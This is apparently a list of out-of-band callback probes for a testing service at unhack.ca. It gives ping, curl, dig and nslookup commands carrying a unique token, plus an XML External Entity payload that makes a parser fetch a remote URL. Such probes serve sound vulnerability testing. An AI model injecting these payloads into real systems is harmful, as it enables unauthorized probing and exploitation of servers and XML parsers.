$ ping -c1 -p 0031b5998233081bdbc0734e8d2d3000 unhack.ca
$ curl http://unhack.ca/p/31b5998233081bdbc0734e8d2d30
$ dig 31b5998233081bdbc0734e8d2d30 @unhack.ca
$ dig 31b5998233081bdbc0734e8d2d30.ns.unhack.ca
C:\> nslookup 31b5998233081bdbc0734e8d2d30 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/31b5998233081bdbc0734e8d2d30">]> <foo>&xxe;</foo>